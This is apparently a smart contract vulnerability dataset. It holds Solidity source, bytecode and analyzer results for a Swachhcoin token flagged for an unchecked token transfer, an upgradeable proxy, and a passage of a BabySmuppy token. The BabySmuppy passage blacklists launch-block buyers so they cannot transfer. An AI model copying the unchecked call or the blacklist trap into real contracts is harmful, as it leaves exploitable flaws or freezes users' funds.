Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Swachhcoin is PausableToken { string public constant name = "Swachhcoin"; string public constant symbol = "SCX"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 400000000 * 10**18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function Swachhcoin( address _admin ) { // assign the admin account admin = _admin; totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(address(0x0), msg.sender, INITIAL_SUPPLY); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ec57806323b872dd1461021157806324bb7c26146102395780632ff2e9dc1461024c578063313ce5671461025f57806342966c681461028857806364779ad71461029e57806366188463146102b157806370a08231146102d357806379cc6790146102f25780638da5cb5b146103145780638f2839701461034357806395d89b4114610364578063a9059cbb14610377578063d73dd62314610399578063db0e16f1146103bb578063dd62ed3e146103dd578063ddeb509414610402578063f2fde38b1461041f578063f851a4401461043e575b600080fd5b341561013757600080fd5b61013f610451565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017b578082015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c157600080fd5b6101d8600160a060020a0360043516602435610488565b604051901515815260200160405180910390f35b34156101f757600080fd5b6101ff6104f7565b60405190815260200160405180910390f35b341561021c57600080fd5b6101d8600160a060020a03600435811690602435166044356104fd565b341561024457600080fd5b6101d861054a565b341561025757600080fd5b6101ff61055a565b341561026a57600080fd5b61027261056a565b60405160ff909116815260200160405180910390f35b341561029357600080fd5b6101d860043561056f565b34156102a957600080fd5b6101d861064c565b34156102bc57600080fd5b6101d8600160a060020a036004351660243561065c565b34156102de57600080fd5b6101ff600160a060020a03600435166106c4565b34156102fd57600080fd5b6101d8600160a060020a03600435166024356106df565b341561031f57600080fd5b6103276106fd565b604051600160a060020a03909116815260200160405180910390f35b341561034e57600080fd5b610362600160a060020a036004351661070c565b005b341561036f57600080fd5b61013f610792565b341561038257600080fd5b6101d8600160a060020a03600435166024356107c9565b34156103a457600080fd5b6101d8600160a060020a0360043516602435610814565b34156103c657600080fd5b610362600160a060020a036004351660243561087c565b34156103e857600080fd5b6101ff600160a060020a0360043581169060243516610932565b341561040d57600080fd5b6103626004351515602435151561095d565b341561042a57600080fd5b610362600160a060020a0360043516610a4b565b341561044957600080fd5b610327610ae6565b60408051908101604052600a81527f537761636868636f696e00000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104e65760035460a860020a900460ff1615156101275760045433600160a060020a03908116911614806104db575060035433600160a060020a039081169116145b15156104e657600080fd5b6104f08383610af5565b9392505050565b60005481565b600082600160a060020a038116151561051557600080fd5b30600160a060020a031681600160a060020a03161415151561053657600080fd5b610541858585610b61565b95945050505050565b60035460a060020a900460ff1681565b6b014adf4b7320334b9000000081565b601281565b600160a060020a033316600090815260016020526040812054610598908363ffffffff610bca16565b600160a060020a033316600090815260016020526040812091909155546105c5908363ffffffff610bca16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff16156106ba5760035460a860020a900460ff1615156101275760045433600160a060020a03908116911614806106af575060035433600160a060020a039081169116145b15156106ba57600080fd5b6104f08383610bdc565b600160a060020a031660009081526001602052604090205490565b60006106ec8333846104fd565b15156106f457fe5b6104f08261056f565b600354600160a060020a031681565b60035433600160a060020a0390811691161461072757600080fd5b600454600160a060020a0380831691167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f5343580000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156107e157600080fd5b30600160a060020a031681600160a060020a03161415151561080257600080fd5b61080c8484610cd6565b949350505050565b60035460009060a060020a900460ff16156108725760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610867575060035433600160a060020a039081169116145b151561087257600080fd5b6104f08383610d3e565b60035433600160a060020a0390811691161461089757600080fd5b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561091357600080fd5b6102c65a03f1151561092457600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461097857600080fd5b8115801561098857506001811515145b1561099257600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a841515021775ff000000000000000000000000000000000000000000191660a860020a831515021790557fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051901515815260200160405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051901515815260200160405180910390a15050565b60035433600160a060020a03908116911614610a6657600080fd5b600160a060020a0381161515610a7b57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009060a060020a900460ff1615610bbf5760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610bb4575060035433600160a060020a039081169116145b1515610bbf57600080fd5b61080c848484610de2565b600082821115610bd657fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c3957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c70565b610c49818463ffffffff610bca16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60035460009060a060020a900460ff1615610d345760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610d29575060035433600160a060020a039081169116145b1515610d3457600080fd5b6104f08383610f64565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d76908363ffffffff61105f16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610df957600080fd5b600160a060020a038416600090815260016020526040902054821115610e1e57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610e5157600080fd5b600160a060020a038416600090815260016020526040902054610e7a908363ffffffff610bca16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eaf908363ffffffff61105f16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ef7908363ffffffff610bca16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f7b57600080fd5b600160a060020a033316600090815260016020526040902054821115610fa057600080fd5b600160a060020a033316600090815260016020526040902054610fc9908363ffffffff610bca16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ffe908363ffffffff61105f16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104f057fe00a165627a7a72305820fc935515245c56d775c05ef384f9cb6b0ab3f62cf72f417535b2b255a3fa907c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,815
0xce7508ec8638c85dd0173164fec47fa705d0e57e
/** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,816
0xf403eca8dda86f6aa1835347230e8e7d0b966297
//🚨🚨🚨PLEASE USE 0.5% SLIPPAGE THIS IS A ZERO TAX TOKEN🚨🚨🚨🚨 //🚨🚨🚨PLEASE USE 0.5% SLIPPAGE THIS IS A ZERO TAX TOKEN🚨🚨🚨🚨 //🚨🚨🚨PLEASE USE 0.5% SLIPPAGE THIS IS A ZERO TAX TOKEN🚨🚨🚨🚨 // Twitter: https://twitter.com/BabySmuppy // TG: https://t.me/babysmuppy // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract BABYSMUPPY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "BabySmuppy"; string private constant _symbol = "BABYSMUPPY"; uint private constant _decimals = 9; uint256 private _teamFee = 0; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 4; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 